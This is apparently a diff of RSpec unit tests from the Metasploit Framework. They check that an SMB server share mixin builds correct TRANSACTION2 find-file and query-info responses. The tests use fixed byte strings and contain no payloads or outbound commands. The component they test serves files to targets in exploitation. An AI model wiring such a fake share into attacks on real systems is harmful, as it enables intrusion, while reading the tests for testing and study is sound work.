trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name))
end
end
end
describe "#smb_cmd_find_file_names_info" do
context "when non existent path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_find_file_names_info(client, non_existent_path)).to eq(error_res_length)
end
it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do
mod.smb_cmd_find_file_names_info(client, non_existent_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_NO_SUCH_FILE)
end
end
context "when existent file path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_find_file_names_info(client, file_path)).to eq(existent_file_file_names_res_length)
end
it "sends a TRANSACTION2 response with the found FileName in SMB Data" do
mod.smb_cmd_find_file_names_info(client, file_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name))
end
end
context "when existent folder path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_find_file_names_info(client, folder_path)).to eq(existent_folder_file_names_res_length)
end
it "sends a TRANSACTION2 response with the found FileName in SMB Data" do
mod.smb_cmd_find_file_names_info(client, folder_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name))
end
end
end
describe "#smb_cmd_find_file_full_directory_info" do
context "when non existent path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_find_file_full_directory_info(client, non_existent_path)).to eq(error_res_length)
end
it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do
mod.smb_cmd_find_file_full_directory_info(client, non_existent_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_NO_SUCH_FILE)
end
end
context "when existent file path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_find_file_full_directory_info(client, file_path)).to eq(existent_file_file_full_res_length)
end
it "sends a TRANSACTION2 response with the found FileName in SMB Data" do
mod.smb_cmd_find_file_full_directory_info(client, file_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name))
end
end
context "when existent folder path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_find_file_full_directory_info(client, folder_path)).to eq(existent_folder_file_full_res_length)
end
it "sends a TRANSACTION2 response with the found FileName in SMB Data" do
mod.smb_cmd_find_file_full_directory_info(client, folder_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name))
end
end
end
end

View File

@ -0,0 +1,421 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/smb/server/share'
require 'rex/proto/smb/constants'
describe Msf::Exploit::Remote::SMB::Server::Share do
subject(:mod) do
mod = Msf::Exploit.new
mod.extend described_class
mod.send(:initialize)
mod
end
let(:client_string) { '' }
let(:client) { StringIO.new(client_string) }
let(:default_info_basic_res_length) { 101 }
let(:default_info_basic_res) do
"\x00\x00\x00\x61\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x0a\x02\x00\x28\x00\x00\x00\x02\x00\x37\x00\x00" +
"\x00\x28\x00\x39\x00\x00\x00\x00\x00\x2a\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00"
end
let(:default_info_standard_res_length) { 83 }
let(:default_info_standard_res) do
"\x00\x00\x00\x4f\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x0a\x02\x00\x16\x00\x00\x00\x02\x00\x37\x00\x00" +
"\x00\x16\x00\x39\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00"
end
let(:default_info_network_res_length) { 117 }
let(:default_info_network_res) do
"\x00\x00\x00\x71\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x0a\x02\x00\x38\x00\x00\x00\x02\x00\x37\x00\x00" +
"\x00\x38\x00\x39\x00\x00\x00\x00\x00\x3a\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00"
end
let(:non_existent_fid) { 0x1234 }
let(:file_fid) { 0xdead }
let(:folder_fid) { 0xbeef }
let(:non_existent_path) { 'non_existent' }
let(:file_path) { 'test.exe' }
let(:folder_path) { '\\' }
let(:error_res_length) { 39 }
let(:existent_fid_info_basic_res_length) { 101 }
let(:info_standard_res_length) { 83 }
let(:existent_path_info_basic_res_length) { 101 }
let(:existent_path_info_standard_res_length) { 83 }
let(:existent_path_info_network_res_length) { 117 }
before(:each) do
mod.instance_variable_set('@state', {
client => {
:multiplex_id => 0x41424344,
:process_id => 0x45464748,
:file_id => 0xdead,
:dir_id => 0xbeef
}
})
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'test.exe'
mod.file_contents = 'metasploit'
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.write(data)
end
end
describe "#send_info_basic_res" do
context "when no opts" do
it "returns the number of bytes sent" do
expect(mod.send_info_basic_res(client)).to eq(default_info_basic_res_length)
end
it "sends a default TRANSACTION2 response" do
mod.send_info_basic_res(client)
client.seek(0)
res = client.read
expect(res).to eq(default_info_basic_res)
end
end
end
describe "#send_info_standard_res" do
context "when no opts" do
it "returns the number of bytes sent" do
expect(mod.send_info_standard_res(client)).to eq(default_info_standard_res_length)
end
it "sends a default TRANSACTION2 response" do
mod.send_info_standard_res(client)
client.seek(0)
res = client.read
expect(res).to eq(default_info_standard_res)
end
end
end
describe "#send_info_network_res" do
context "when no opts" do
it "returns the number of bytes sent" do
expect(mod.send_info_network_res(client)).to eq(default_info_network_res_length)
end
it "sends a default TRANSACTION2 response" do
mod.send_info_network_res(client)
client.seek(0)
res = client.read
expect(res).to eq(default_info_network_res)
end
end
end
describe "#smb_cmd_trans_query_file_info_basic" do
context "when non existent fid" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_trans_query_file_info_basic(client, non_existent_fid)).to eq(error_res_length)
end
it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do
mod.smb_cmd_trans_query_file_info_basic(client, non_existent_fid)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND)
end
end
context "when existent file fid" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_trans_query_file_info_basic(client, file_fid)).to eq(existent_fid_info_basic_res_length)
end
it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do
mod.smb_cmd_trans_query_file_info_basic(client, file_fid)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_NORMAL)
end
end
context "when existent folder fid" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_trans_query_file_info_basic(client, folder_fid)).to eq(existent_fid_info_basic_res_length)
end
it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do
mod.smb_cmd_trans_query_file_info_basic(client, folder_fid)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_DIRECTORY)
end
end
end
describe "#smb_cmd_trans_query_file_info_standard" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_trans_query_file_info_standard(client, non_existent_fid)).to eq(info_standard_res_length)
end
it "always sends a TRANSACTION2 response with SMB_QUERY_FILE_STANDARD_INFO about the shared file" do
mod.smb_cmd_trans_query_file_info_standard(client, non_existent_fid)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['EndOfFile']).to eq(mod.file_contents.length)
end
end
describe "#smb_cmd_trans_query_path_info_basic" do
context "when non existent path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_trans_query_path_info_basic(client, non_existent_path)).to eq(error_res_length)
end
it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do
mod.smb_cmd_trans_query_path_info_basic(client, non_existent_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND)
end
end
context "when existent file path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_trans_query_path_info_basic(client, file_path)).to eq(existent_path_info_basic_res_length)
end
it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do
mod.smb_cmd_trans_query_path_info_basic(client, file_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_NORMAL)
end
end
context "when existent folder path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_trans_query_path_info_basic(client, folder_path)).to eq(existent_path_info_basic_res_length)
end
it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do
mod.smb_cmd_trans_query_path_info_basic(client, folder_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_DIRECTORY)
end
end
end
describe "#smb_cmd_trans_query_path_info_standard" do
context "when non existent path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_trans_query_path_info_standard(client, non_existent_path)).to eq(error_res_length)
end
it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do
mod.smb_cmd_trans_query_path_info_standard(client, non_existent_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND)
end
end
context "when existent file path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_trans_query_path_info_standard(client, file_path)).to eq(existent_path_info_standard_res_length)
end
it "sends a TRANSACTION2 response with the Directory field unset" do
mod.smb_cmd_trans_query_path_info_standard(client, file_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['Directory']).to eq(0)
end
end
context "when existent folder path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_trans_query_path_info_standard(client, folder_path)).to eq(existent_path_info_standard_res_length)
end
it "sends a TRANSACTION2 response with the Directory field set" do
mod.smb_cmd_trans_query_path_info_standard(client, folder_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['Directory']).to eq(1)
end
end
end
describe "#smb_cmd_trans_query_path_info_network" do
context "when non existent path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_trans_query_path_info_network(client, non_existent_path)).to eq(error_res_length)
end
it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do
mod.smb_cmd_trans_query_path_info_network(client, non_existent_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND)
end
end
context "when existent file path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_trans_query_path_info_network(client, file_path)).to eq(existent_path_info_network_res_length)
end
it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do
mod.smb_cmd_trans_query_path_info_network(client, file_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_NORMAL)
end
end
context "when existent folder path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_trans_query_path_info_network(client, folder_path)).to eq(existent_path_info_network_res_length)
end
it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do
mod.smb_cmd_trans_query_path_info_network(client, folder_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_DIRECTORY)
end
end
end
end